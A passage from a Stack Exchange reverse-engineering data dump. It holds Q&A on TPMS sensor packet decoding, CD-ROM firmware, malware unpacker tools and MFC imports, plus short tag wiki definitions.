LastEditDate="2015-12-18T02:12:18.197" LastActivityDate="2015-12-18T02:12:18.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11538" PostTypeId="1" CreationDate="2015-12-15T13:23:36.613" Score="1" ViewCount="70" Body="&lt;p&gt;I'm curious if it's possible to reverse engineer the hat positioning and control of the StackExchange winter bash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They offer the &quot;show controls&quot; checkbox, but it's still all mouse-based; when you try to get as large a hat and as far off as possible, it simply starts shrinking, and it's difficult to go back.  Any idea if it's possible to get around that?  (The controls only seem to change the alignment, and are not too helpful.)&lt;/p&gt;&#xA;" OwnerUserId="1839" LastActivityDate="2015-12-15T13:23:36.613" Title="Reverse engineer StackExchange winter bash" Tags="|javascript|websites|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11539" PostTypeId="1" CreationDate="2015-12-15T13:45:05.863" Score="8" ViewCount="1351" Body="&lt;p&gt;I'm trying to reverse engineer data received from TPMS (car tire pressure) sensors. I was able to receive and demodulate the data (433 MHz, FSK, Manchester encoding).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Probable packet fields:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;bytes 1-4:&lt;/code&gt; sensor id (4 distinct values detected)&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;bytes 5-9:&lt;/code&gt; unknown (temp/pressure)&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;byte   10:&lt;/code&gt; 8-bit CRC detected by using &lt;code&gt;reveng&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In the 5 unknown bytes there should be encoded tire pressure and tire temperature and some status bits. However I was not able to guess how are these temp/pressure data encoded. The pressures as shown by car were in the range 211-220 kPa, temperature between 5-15 degrees.&lt;/p&gt;&#xA;&lt;p&gt;Can you help me decoding the temperature and pressure from the below data or at least point me to some direction?&lt;/p&gt;&#xA;&lt;p&gt;Here is the detected data from sensors:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; sensor_id        temp/press       CRC&#xA;&#xA;1f e0 ed a5     42 d5 66 c7 f1     10&#xA;1f e0 ed a5     42 d4 66 c7 f1     06&#xA;1f e0 ed a5     44 d6 66 c7 e4     0a&#xA;1f e0 ed a5     44 d4 66 c7 e4     26&#xA;1f e0 ed a5     55 d4 68 c8 da     23&#xA;1e e0 ed a5     42 d5 66 c7 db     bf&#xA;1e e0 ed a5     41 d6 65 c8 cb     2d&#xA;1e e0 ed a5     41 d5 65 c8 cb     17&#xA;1e e0 ed a5     55 d5 68 c8 f7     8f&#xA;1e e0 ed a5     55 d4 68 c8 f7     99&#xA;1d e0 ed a5     44 d6 66 c7 f7     81&#xA;1d e0 ed a5     41 d5 64 c8 eb     17&#xA;1d e0 ed a5     55 d5 68 c8 da     c7&#xA;1d e0 ed a5     42 d5 65 c7 c8     f0&#xA;1d e0 ed a5     42 d4 65 c7 c8     e6&#xA;1c e0 ed a5     44 d5 65 c8 d9     76&#xA;1c e0 ed a5     41 d4 64 c8 d3     d0&#xA;1c e0 ed a5     55 d6 67 c8 df     d8&#xA;1c e0 ed a5     55 d5 67 c8 df     e2&#xA;1c e0 ed a5     55 d4 67 c8 df     f4&#xA;1c e0 ed a5     42 d6 65 c7 ef     46&#xA;1c e0 ed a5     42 d5 65 c7 ef     7c&#xA;1c e0 ed a5     42 d4 65 c7 ef     6a&#xA;1f e0 ed a5     44 d6 65 c7 f3     d2&#xA;1f e0 ed a5     44 d4 65 c7 f3     fe&#xA;1f e0 ed a5     41 d5 64 c8 f6     b6&#xA;1f e0 ed a5     41 d4 64 c8 f6     a0&#xA;1f e0 ed a5     42 d6 65 c7 f9     af&#xA;1f e0 ed a5     42 d4 65 c7 f9     83&#xA;1e e0 ed a5     42 d6 64 c7 f7     97&#xA;1e e0 ed a5     42 d5 64 c7 f7     ad&#xA;1e e0 ed a5     42 d4 64 c7 f7     bb&#xA;1f e0 ed a5     55 d6 67 c8 f5     85&#xA;1f e0 ed a5     55 d5 67 c8 f5     bf&#xA;1d e0 ed a5     42 d5 64 c7 f3     3a&#xA;1d e0 ed a5     42 d4 64 c7 f3     2c&#xA;1e e0 ed a5     44 d6 64 c7 f4     d5&#xA;1e e0 ed a5     44 d5 64 c7 f4     ef&#xA;1e e0 ed a5     44 d4 64 c7 f4     f9&#xA;1e e0 ed a5     41 d4 64 c8 f6     d9&#xA;1e e0 ed a5     55 d6 67 c8 f7     f2&#xA;1c e0 ed a5     42 d5 64 c7 f3     43&#xA;1d e0 ed a5     44 d6 64 c7 f4     5e&#xA;1d e0 ed a5     44 d5 64 c7 f4     64&#xA;1d e0 ed a5     55 d6 68 c8 f5     30&#xA;1d e0 ed a5     55 d5 68 c8 f5     0a&#xA;1d e0 ed a5     55 d4 68 c8 f5     1c&#xA;1f e0 ed a5     42 d5 65 c7 f4     b6&#xA;1c e0 ed a5     44 d6 65 c7 f5     4b&#xA;1c e0 ed a5     44 d4 65 c7 f5     67&#xA;1c e0 ed a5     41 d6 64 c8 f2     1b&#xA;1c e0 ed a5     41 d5 64 c8 f2     21&#xA;1c e0 ed a5     41 d4 64 c8 f2     37&#xA;1c e0 ed a5     55 d6 67 c8 ed     46&#xA;1c e0 ed a5     55 d5 67 c8 ed     7c&#xA;1e e0 ed a5     42 d5 64 c7 f3     b1&#xA;1e e0 ed a5     42 d4 64 c7 f3     a7&#xA;1f e0 ed a5     44 d6 64 c7 f3     b9&#xA;1f e0 ed a5     44 d5 64 c7 f3     83&#xA;1f e0 ed a5     44 d4 64 c7 f3     95&#xA;1f e0 ed a5     41 d5 64 c8 ed     f7&#xA;1f e0 ed a5     41 d4 64 c8 ed     e1&#xA;1f e0 ed a5     55 d4 67 c8 ea     f4&#xA;1d e0 ed a5     42 d6 64 c7 dc     cd&#xA;1d e0 ed a5     42 d4 64 c7 dc     e1&#xA;1e e0 ed a5     44 d6 64 c7 da     1f&#xA;1e e0 ed a5     44 d5 64 c7 da     25&#xA;1e e0 ed a5     44 d4 64 c7 da     33&#xA;1e e0 ed a5     41 d4 64 c7 f4     14&#xA;1e e0 ed a5     55 d6 67 c8 f2     e9&#xA;1e e0 ed a5     55 d5 67 c8 f2     d3&#xA;1c e0 ed a5     42 d6 63 c7 c3     ff&#xA;1c e0 ed a5     42 d5 63 c7 c3     c5&#xA;1c e0 ed a5     42 d4 63 c7 c3     d3&#xA;1d e0 ed a5     41 d6 63 c7 dd     7a&#xA;1d e0 ed a5     41 d4 63 c7 dd     56&#xA;1d e0 ed a5     55 d6 67 c8 e0     1c&#xA;1d e0 ed a5     55 d5 67 c8 e0     26&#xA;1f e0 ed a5     42 d6 64 c6 d6     1c&#xA;1c e0 ed a5     44 d6 63 c7 d9     f2&#xA;1c e0 ed a5     44 d4 63 c7 d9     de&#xA;1c e0 ed a5     41 d6 63 c8 d4     ff&#xA;1c e0 ed a5     41 d5 63 c8 d4     c5&#xA;1c e0 ed a5     55 d4 67 c8 d6     cb&#xA;1f e0 ed a5     44 d6 64 c7 d3     59&#xA;1e e0 ed a5     42 d5 64 c6 d4     51&#xA;1f e0 ed a5     41 d6 63 c7 e9     04&#xA;1f e0 ed a5     41 d4 63 c7 e9     28&#xA;1f e0 ed a5     55 d6 67 c8 eb     df&#xA;1f e0 ed a5     55 d4 67 c8 eb     f3&#xA;1e e0 ed a5     44 d6 63 c7 9d     db&#xA;1e e0 ed a5     44 d5 63 c7 9d     e1&#xA;1d e0 ed a5     42 d4 63 c6 9a     37&#xA;1e e0 ed a5     41 d6 63 c7 d6     c0&#xA;1e e0 ed a5     41 d5 63 c7 d6     fa&#xA;1e e0 ed a5     55 d6 66 c8 cf     31&#xA;1e e0 ed a5     55 d5 66 c8 cf     0b&#xA;1d e0 ed a5     44 d6 62 c7 f4     23&#xA;1d e0 ed a5     44 d5 62 c7 f4     19&#xA;1c e0 ed a5     42 d6 63 c6 f5     68&#xA;1c e0 ed a5     42 d5 63 c6 f5     52&#xA;1c e0 ed a5     42 d4 63 c6 f5     44&#xA;1d e0 ed a5     41 d6 63 c7 df     74&#xA;1c e0 ed a5     55 d4 66 c8 f7     47&#xA;1c e0 ed a5     41 d5 63 c7 f5     e1&#xA;1c e0 ed a5     44 d6 64 c6 e4     42&#xA;1f e0 ed a5     42 d6 5f c6 d4     1f&#xA;1f e0 ed a5     42 d5 5f c6 d4     25&#xA;1f e0 ed a5     42 d4 5f c6 d4     33&#xA;1f e0 ed a5     55 d6 67 c8 eb     df&#xA;1f e0 ed a5     41 d6 61 c7 dd     5e&#xA;1f e0 ed a5     41 d5 61 c7 dd     64&#xA;1f e0 ed a5     41 d4 61 c7 dd     72&#xA;1e e0 ed a5     42 d4 62 c6 f2     c8&#xA;1e e0 ed a5     55 d6 66 c8 e4     e0&#xA;1e e0 ed a5     55 d5 66 c8 e4     da&#xA;1e e0 ed a5     55 d4 66 c8 e4     cc&#xA;1e e0 ed a5     41 d4 62 c7 e2     0b&#xA;1e e0 ed a5     44 d6 63 c6 f5     d1&#xA;1e e0 ed a5     44 d4 63 c6 f5     fd&#xA;1d e0 ed a5     42 d6 60 c6 e4     db&#xA;1d e0 ed a5     42 d5 60 c6 e4     e1&#xA;1d e0 ed a5     42 d4 60 c6 e4     f7&#xA;1d e0 ed a5     41 d6 62 c6 f4     db&#xA;1d e0 ed a5     41 d5 62 c6 f4     e1&#xA;1d e0 ed a5     41 d4 62 c6 f4     f7&#xA;1d e0 ed a5     44 d5 63 c6 f3     72&#xA;1d e0 ed a5     44 d4 63 c6 f3     64&#xA;1c e0 ed a5     42 d6 61 c5 ef     c7&#xA;1c e0 ed a5     44 d5 62 c6 c6     eb&#xA;1f e0 ed a5     42 d5 61 c5 dd     e8&#xA;1f e0 ed a5     42 d4 61 c5 dd     fe&#xA;1f e0 ed a5     41 d6 62 c7 f1     27&#xA;1f e0 ed a5     41 d5 62 c7 f1     1d&#xA;1f e0 ed a5     41 d4 62 c7 f1     0b&#xA;1f e0 ed a5     44 d6 62 c5 d6     15&#xA;1f e0 ed a5     44 d4 62 c5 d6     39&#xA;1e e0 ed a5     42 d5 61 c5 9f     58&#xA;1e e0 ed a5     42 d4 61 c5 9f     4e&#xA;1c e0 ed a5     55 d5 65 c7 85     76&#xA;1e e0 ed a5     41 d6 62 c6 ca     ea&#xA;1e e0 ed a5     41 d4 62 c6 ca     c6&#xA;1e e0 ed a5     44 d5 61 c6 f3     2f&#xA;1d e0 ed a5     42 d6 60 c5 f0     88&#xA;1d e0 ed a5     42 d5 60 c5 f0     b2&#xA;1d e0 ed a5     42 d4 60 c5 f0     a4&#xA;1f e0 ed a5     55 d5 65 c7 e8     f9&#xA;1d e0 ed a5     41 d6 61 c6 ec     2e&#xA;1d e0 ed a5     41 d5 61 c6 ec     14&#xA;1d e0 ed a5     41 d4 61 c6 ec     02&#xA;1d e0 ed a5     44 d5 62 c5 ea     69&#xA;1d e0 ed a5     44 d4 62 c5 ea     7f&#xA;1c e0 ed a5     42 d6 5c c4 ea     b9&#xA;1c e0 ed a5     42 d4 5c c4 ea     95&#xA;1e e0 ed a5     55 d5 65 c7 e2     b6&#xA;1c e0 ed a5     41 d6 61 c6 e4     6f&#xA;1c e0 ed a5     41 d4 61 c6 e4     43&#xA;1c e0 ed a5     44 d6 61 c5 e6     b3&#xA;1c e0 ed a5     44 d5 61 c5 e6     89&#xA;1c e0 ed a5     44 d4 61 c5 e6     9f&#xA;1f e0 ed a5     42 d6 61 c4 dd     c7&#xA;1f e0 ed a5     42 d4 61 c4 dd     eb&#xA;1d e0 ed a5     55 d5 65 c7 d3     aa&#xA;1d e0 ed a5     55 d4 65 c7 d3     bc&#xA;1f e0 ed a5     41 d6 61 c6 da     5e&#xA;1f e0 ed a5     41 d5 61 c6 da     64&#xA;1f e0 ed a5     44 d5 61 c5 ec     34&#xA;1e e0 ed a5     42 d6 60 c4 e9     59&#xA;1e e0 ed a5     42 d4 60 c4 e9     75&#xA;1e e0 ed a5     41 d6 62 c6 d6     be&#xA;1e e0 ed a5     41 d5 62 c6 d6     84&#xA;1e e0 ed a5     44 d6 61 c5 d9     fc&#xA;1e e0 ed a5     44 d4 61 c5 d9     d0&#xA;1d e0 ed a5     42 d6 60 c3 de     3c&#xA;1d e0 ed a5     42 d5 60 c3 de     06&#xA;1d e0 ed a5     42 d4 60 c3 de     10&#xA;1d e0 ed a5     41 d6 61 c6 e2     04&#xA;1d e0 ed a5     44 d5 61 c5 df     5f&#xA;1d e0 ed a5     44 d4 61 c5 df     49&#xA;1c e0 ed a5     42 d6 5f c4 d8     9a&#xA;1c e0 ed a5     42 d5 5f c4 d8     a0&#xA;1c e0 ed a5     42 d4 5f c4 d8     b6&#xA;1f e0 ed a5     55 d6 65 c7 d8     53&#xA;1f e0 ed a5     55 d4 65 c7 d8     7f&#xA;1c e0 ed a5     41 d6 61 c6 dc     c7&#xA;1c e0 ed a5     41 d5 61 c6 dc     fd&#xA;1c e0 ed a5     41 d4 61 c6 dc     eb&#xA;1c e0 ed a5     44 d6 61 c5 df     1c&#xA;1c e0 ed a5     44 d5 61 c5 df     26&#xA;1c e0 ed a5     44 d4 61 c5 df     30&#xA;1f e0 ed a5     42 d5 60 c3 e6     5c&#xA;1f e0 ed a5     42 d4 60 c3 e6     4a&#xA;1e e0 ed a5     55 d5 65 c7 e6     aa&#xA;1f e0 ed a5     41 de 61 c6 f7     2d&#xA;1f e0 ed a5     41 dd 61 c6 f7     17&#xA;1f e0 ed a5     41 dc 61 c6 f7     01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13063" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2024-02-02T23:51:53.123" Title="Reverse engineer TPMS sensor data" Tags="|binary-analysis|decryption|encodings|protocol|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="11540" PostTypeId="2" ParentId="11494" CreationDate="2015-12-15T16:13:16.357" Score="0" Body="&lt;p&gt;Usually is ARM MCU (two different possible opcodes, can be Thumb). The information you want is usually not that public. Mediatek seems to be using some ARM core in their chips &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_devices_using_Mediatek_SoCs&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/List_of_devices_using_Mediatek_SoCs&lt;/a&gt;. You have to explore. Maybe this work helps &lt;a href=&quot;https://media.blackhat.com/us-13/US-13-Zaddach-Workshop-on-Embedded-Devices-Security-and-Firmware-Reverse-Engineering-Slides.pdf&quot; rel=&quot;nofollow&quot;&gt;https://media.blackhat.com/us-13/US-13-Zaddach-Workshop-on-Embedded-Devices-Security-and-Firmware-Reverse-Engineering-Slides.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14428" LastActivityDate="2015-12-15T16:13:16.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11541" PostTypeId="2" ParentId="11494" CreationDate="2015-12-15T19:40:19.950" Score="2" Body="&lt;p&gt;The solution you refer to as a “last resort” is not that difficult. If you don't need to control the position of the laser precisely, there are a few things that need control:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Brushless motor to spin the disk&lt;/li&gt;&#xA;&lt;li&gt;Stepper motor to move the laser&lt;/li&gt;&#xA;&lt;li&gt;Laser diode to actually burn something&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You may even do it without much soldering with a board like Arduino.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;do&lt;/em&gt; need to save most of the CD-ROM functionality, you will need to RE the firmware. The problem is that while the core of the microprocessor is ARM, it also contains a lot of peripheral modules which you don't have any documentation for. You may be able to deduce some of the hardware registers, but this task is not easy overall. It would be useful to have a &lt;a href=&quot;https://spritesmods.com/?art=hddhack&amp;amp;page=3&quot; rel=&quot;nofollow&quot;&gt;JTAG adapter hooked up to the board&lt;/a&gt; in order to control the program execution.&lt;/p&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2015-12-15T19:40:19.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11542" PostTypeId="1" CreationDate="2015-12-15T22:01:44.047" Score="0" ViewCount="772" Body="&lt;p&gt;I am looking for static and dynamic unpacker tools. I only found PE-Explorer the only can handle UPX packer. &#xA;So I am carious to know is there any open source static or dynamic unpacker?&lt;/p&gt;&#xA;" OwnerUserId="8671" LastActivityDate="2015-12-15T22:39:51.880" Title="open source static or dynamic malware unpacker" Tags="|malware|unpacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11543" PostTypeId="2" ParentId="11542" CreationDate="2015-12-15T22:37:32.053" Score="1" Body="&lt;p&gt;There's quite a few dynamic ones which can handle simple wrapping packers. One example is &lt;a href=&quot;https://github.com/BromiumLabs/PackerAttacker&quot; rel=&quot;nofollow&quot;&gt;PackerAttacker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2015-12-15T22:39:51.880" LastActivityDate="2015-12-15T22:39:51.880" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11544" PostTypeId="5" CreationDate="2015-12-16T10:32:59.830" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T10:32:59.830" LastActivityDate="2015-12-16T10:32:59.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11545" PostTypeId="4" CreationDate="2015-12-16T10:32:59.830" Score="0" Body="Import Address Table are used as a lookup table when the application is calling a function in a different module in Microsoft Windows operating systems. " OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T10:32:59.830" LastActivityDate="2015-12-16T10:32:59.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11546" PostTypeId="5" CreationDate="2015-12-16T10:35:21.517" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T10:35:21.517" LastActivityDate="2015-12-16T10:35:21.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11547" PostTypeId="4" CreationDate="2015-12-16T10:35:21.517" Score="0" Body="Can be either the division of a computer's primary memory into segments or sections, or the process in the operating system that maps virtual memory onto physical memory." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T10:35:21.517" LastActivityDate="2015-12-16T10:35:21.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11548" PostTypeId="1" AcceptedAnswerId="11549" CreationDate="2015-12-16T12:41:30.787" Score="0" ViewCount="73" Body="&lt;p&gt;I have an exe which I'm confident uses MFC(I have seen the code and it heavily uses MFC) but when I see the Import Table why don't I see  MFCxx.dll entry... &lt;/p&gt;&#xA;" OwnerUserId="11879" LastActivityDate="2015-12-16T14:09:52.307" Title="Why is there no MFCxx.dll in the import table?" Tags="|disassembly|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11549" PostTypeId="2" ParentId="11548" CreationDate="2015-12-16T14:09:52.307" Score="1" Body="&lt;p&gt;One of three possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It doesn't use MFC&lt;/li&gt;&#xA;&lt;li&gt;It uses MFC and the MFC functions are linked via &lt;a href=&quot;https://en.wikipedia.org/wiki/Static_library&quot; rel=&quot;nofollow&quot;&gt;static libraries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;It uses MFC and the MFC DLLs are &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175.aspx&quot; rel=&quot;nofollow&quot;&gt;dynamically loaded&lt;/a&gt; (or &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/yx9zd12s.aspx&quot; rel=&quot;nofollow&quot;&gt;delay-loaded&lt;/a&gt;) at runtime&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-12-16T14:09:52.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11550" PostTypeId="5" CreationDate="2015-12-16T17:02:10.927" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T17:02:10.927" LastActivityDate="2015-12-16T17:02:10.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11551" PostTypeId="4" CreationDate="2015-12-16T17:02:10.927" Score="0" Body="Android Application Package is the package file format used by the Android operating system for distribution and installation of mobile applications." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T17:02:10.927" LastActivityDate="2015-12-16T17:02:10.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11552" PostTypeId="5" CreationDate="2015-12-16T17:05:15.647" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T17:05:15.647" LastActivityDate="2015-12-16T17:05:15.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11553" PostTypeId="4" CreationDate="2015-12-16T17:05:15.647" Score="0" Body="A family of very low-level programming languages, just above machine code, where each statement corresponds to a single machine code instruction. " OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T17:05:15.647" LastActivityDate="2015-12-16T17:05:15.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11554" PostTypeId="5" CreationDate="2015-12-16T17:15:45.153" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T17:15:45.153" LastActivityDate="2015-12-16T17:15:45.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11555" PostTypeId="4" CreationDate="2015-12-16T17:15:45.153" Score="0" Body="A lightweight multi-platform, multi-architecture disassembly framework." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T17:15:45.153" LastActivityDate="2015-12-16T17:15:45.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11556" PostTypeId="5" CreationDate="2015-12-16T17:16:46.590" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T17:16:46.590" LastActivityDate="2015-12-16T17:16:46.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11557" PostTypeId="4" CreationDate="2015-12-16T17:16:46.590" Score="0" Body="A framework that provides information about security vulnerabilities and aids in penetration testing and IDS signature development." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T17:16:46.590" LastActivityDate="2015-12-16T17:16:46.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11558" PostTypeId="5" CreationDate="2015-12-16T17:42:29.207" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T17:42:29.207" LastActivityDate="2015-12-16T17:42:29.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11559" PostTypeId="4" CreationDate="2015-12-16T17:42:29.207" Score="0" Body="An integrated development environment (IDE) developed by Borland using Object-Pascal for console, desktop graphical, web, and mobile applications." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T17:42:29.207" LastActivityDate="2015-12-16T17:42:29.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11561" PostTypeId="5" CreationDate="2015-12-16T21:31:02.363" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T21:31:02.363" LastActivityDate="2015-12-16T21:31:02.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11562" PostTypeId="4" CreationDate="2015-12-16T21:31:02.363" Score="0" Body="Abstract study of of topics such as quantity (numbers), structure, space, and change." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T21:31:02.363" LastActivityDate="2015-12-16T21:31:02.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11563" PostTypeId="5" CreationDate="2015-12-16T21:31:56.347" Score="0" Body="&lt;p&gt;Further reading:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wikipedia article &lt;a href=&quot;https://en.wikipedia.org/wiki/Entropy_(information_theory)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Entropy (information theory)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Also see &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/21555&quot;&gt;this question and its answers&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="245" LastEditDate="2019-06-27T12:12:06.450" LastActivityDate="2019-06-27T12:12:06.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11564" PostTypeId="4" CreationDate="2015-12-16T21:31:56.347" Score="0" Body="Entropy as a measurement of information density is used particularly in reverse code engineering (RCE) to tell apart compressed or encrypted pieces of data (or even code) from plain data." OwnerUserId="53" LastEditorUserId="245" LastEditDate="2019-06-27T12:12:06.450" LastActivityDate="2019-06-27T12:12:06.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11565" PostTypeId="5" CreationDate="2015-12-16T21:34:01.337" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T21:34:01.337" LastActivityDate="2015-12-16T21:34:01.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11566" PostTypeId="4" CreationDate="2015-12-16T21:34:01.337" Score="0" Body="position-independent executable or position-independent code is code compiled in a way so that it can run unchanged when loaded at an arbitrary memory address (i.e. it does not depend on being at a fixed position in memory). Such executables provide extra protection against code reuse and return-oriented programming attacks by minimizing the quantity of gadgets that can be found in a static memory area in the software." OwnerUserId="53" LastEditorUserId="60" LastEditDate="2017-05-03T13:46:54.420" LastActivityDate="2017-05-03T13:46:54.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11567" PostTypeId="5" CreationDate="2015-12-16T21:36:58.800" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T21:36:58.800" LastActivityDate="2015-12-16T21:36:58.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11568" PostTypeId="4" CreationDate="2015-12-16T21:36:58.800" Score="0" Body="Reduced Instruction Set Computer is a CPU design strategy based on the insight that a simplified instruction set (as opposed to a complex set) provides higher performance when combined with a microprocessor architecture capable of executing those instructions using fewer microprocessor cycles per instruction." OwnerUserId="53" LastEditorUserId="13506" LastEditDate="2018-10-14T16:36:28.140" LastActivityDate="2018-10-14T16:36:28.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11569" PostTypeId="5" CreationDate="2015-12-16T21:40:18.367" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T21:40:18.367" LastActivityDate="2015-12-16T21:40:18.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11570" PostTypeId="4" CreationDate="2015-12-16T21:40:18.367" Score="0" Body="Extended Stack-Pointer is an x86 32-bits register used to store the stack-pointer during program execution." OwnerUserId="53" LastEditorUserId="13506" LastEditDate="2018-11-13T13:40:40.857" LastActivityDate="2018-11-13T13:40:40.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11571" PostTypeId="5" CreationDate="2015-12-16T21:41:56.030" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T21:41:56.030" LastActivityDate="2015-12-16T21:41:56.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11572" PostTypeId="4" CreationDate="2015-12-16T21:41:56.030" Score="0" Body="A free and open-source network and system packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T21:41:56.030" LastActivityDate="2015-12-16T21:41:56.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11573" PostTypeId="5" CreationDate="2015-12-16T21:45:42.740" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T21:45:42.740" LastActivityDate="2015-12-16T21:45:42.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11574" PostTypeId="4" CreationDate="2015-12-16T21:45:42.740" Score="0" Body="A way for an operating system to serve requests from user-space without breaking the user-space and kernel-space memory protection." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-12-16T21:45:42.740" LastActivityDate="2015-12-16T21:45:42.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11576" PostTypeId="2" ParentId="11495" CreationDate="2015-12-17T07:17:58.133" Score="6" Body="&lt;p&gt;To determine where the faces/vertices are laid out purely via inspection can be pretty time consuming and hit-and-miss. Given the executable is available that processes these files, I think it's probably a better starting point - it definitively knows how to process the format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used IDA Pro to analyse the code in the executable that's involved in loading the data, using the some magic numbers [including the 0x001e0003 you noted as the ChunkMarker] to locate the relevant parts and expanding from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll find that there are some duplications of surfaces in the mesh - I think the base mesh is just solid-shaded, but uses textures sparingly like decals over the base mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example imported into Blender.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PiANI.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PiANI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access the code I wrote to generate that on &lt;a 